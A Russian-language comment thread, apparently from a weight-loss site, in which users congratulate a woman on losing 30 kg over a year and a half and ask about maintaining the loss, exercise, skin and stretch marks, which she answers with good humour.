Да, если хочешь хорошо выглядеть, то диета (в хорошем смысле этого слова) должна поддерживаться всю жизнь а не временно!

Miray Sim 12.05.2017 22:59

Как вам удается поддержание?

Галин@ 12.05.2017 23:03

Miray Sim, Хотите со мной поговорить - пишите в личку. Не надо выковыривать мои старые посты из нафталина)))). Конкретно по Вашему вопросу - сегодня вешу на 100 гр меньше, чем на этом фото. Вес колеблется +- 5 кг, но в среднем удержание удается.

Константин Z 25.05.2017 17:26

Галин@, а чего он колеблется?

Галин@ 25.05.2017 17:27

Константин Z, А он нерешительный)

жИринка 20.06.2017 17:05

Извините, не могу прочесть все комментарии (228!!!), а Вы занимались спортом? Как кожа себя "вела"?

Галин@ 20.06.2017 17:11

жИринка, Спортом это вряд-ли можно назвать. Скорее физкультурой. Не пашу как папа Карло, так немножко фитнеса для поддержания формы. Кожа вела себя нормально. Я же эти 30 кг 1.5 года сбрасывала.

татьяна 20.06.2017 17:44

какая же вы умница и красавица! это же такой труд! я в восхищении!

Elena Demopoulou 20.06.2017 19:49

Красавица,молодчинка!

Анастасія Сербіна 20.06.2017 19:59

Вот это да))Вы такая молодец))))

Кирилл Барсуков 30.06.2017 10:51

Отличный результат!

Лариса Громакова 30.06.2017 11:09

Ого! Круто! Умничка!

Viktor 30.06.2017 11:10

Ольга Степанова 30.06.2017 11:14

Татьяна Писарева 30.06.2017 12:12

Екатерина Соколова 20.07.2017 21:49

У вас большие растяжки?

Галин@ 20.07.2017 22:06

Екатерина Соколова, Не знаю, большие они или нет. Они есть. Если осматривать тело прицельно в поисках растяжек, то увидеть можно. Но судя по тому. что на пляже в меня не тыкают пальцем со словами " смотрите, какие у нее растяжки" могу предположить, что люди их не замечают))))